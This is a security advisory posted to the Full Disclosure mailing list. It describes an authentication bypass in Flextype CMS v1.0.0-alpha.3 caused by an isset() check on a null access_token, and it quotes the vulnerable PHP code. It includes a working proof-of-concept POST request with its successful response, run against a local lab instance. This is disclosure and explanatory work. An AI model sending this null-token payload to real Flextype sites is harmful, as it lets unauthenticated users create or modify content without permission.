Full Disclosure mailing list archives

Description

Flextype CMS v1.0.0-alpha.3 contains an authentication validation
vulnerability in the API request-processing functionality. API endpoints
may declare access_token as a required parameter, but the
required-parameter validation only verifies that the corresponding key
exists in the supplied request data.

Authentication verification is subsequently performed inside an isset($data
['access_token']) condition. In PHP, isset() returns false when a key
exists but its value is null.

An attacker can therefore supply "access_token": null, satisfying the
required-parameter existence check while causing the subsequent
access-token verification logic to be skipped.

Testing confirmed that a protected Entries API operation accepted an
access_token value of null and successfully created an entry.
Impact

An remote attacker can bypass the access_token authentication requirement
for affected API endpoints.

The resulting impact depends on the functionality exposed by the affected
endpoint. Where the bypass provides access to entry creation, modification,
query, or other privileged API functionality, it may also remove the
authentication prerequisite from vulnerabilities reachable through those
endpoints.

The public API token requirement should be considered separately from the
bypassed access_token security control.
DetailsRequired Parameter Validation

Flextype combines query and request-body parameters and verifies required
parameters by checking only whether the required key occurs within the
resulting array:

$data = array_merge($queryData, $bodyData);

$dataTest = true;

foreach ($options['params'] as $key => $value) {
    if (in_array($value, array_keys($data))) {
        continue;
    }

    $dataTest = false;
}

Consequently, a request containing:

{
    "access_token": null
}

satisfies the parameter-presence requirement because the access_token key
exists.
Authentication Verification

Access-token validation is subsequently conditional upon PHP's isset():

if (isset($data['access_token'])) {
    if (! isset($tokenData['hashed_access_token'])) {
        return $this->getStatusCodeMessage(401);
    }

    if (! verifyTokenHash($data['access_token'],
$tokenData['hashed_access_token'])) {
        return $this->getStatusCodeMessage(401);
    }
}

For a PHP array containing an access_token key whose value is null:

isset($data['access_token'])

evaluates to false.

The authentication verification block is therefore skipped.
Proof of Concept

The following request supplies the required access_token parameter with a
JSON null value:

POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json

{"token":"lab-token","access_token":null,"id":"auth-null-proof","data":{"title":"AUTH_NULL_BYPASS_PROOF"}}

Flextype accepted the request:

HTTP/1.1 200 OK
Host: 127.0.0.1:18086
Content-Type: application/json;charset=UTF-8

{"title":"AUTH_NULL_BYPASS_PROOF","published_by":"","created_by":"","uuid":"514b6f5a-dc16-4572-9c16-8ac4a17250f0","content":"","slug":"auth-null-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"auth-null-proof"}

The successful creation of auth-null-proof demonstrates that supplying a
null access token bypasses the access-token verification performed by the
API authentication logic.
Root Cause

The vulnerability results from inconsistent validation of required
parameters.

The first validation considers a parameter present when its key exists:

in_array($value, array_keys($data))

while authentication is conditional upon:

isset($data['access_token'])

These operations have different behavior for null values.

A JSON value of:

"access_token": null

therefore satisfies the first condition while preventing execution of the
second.

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

• Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass Ron E (Sep 03)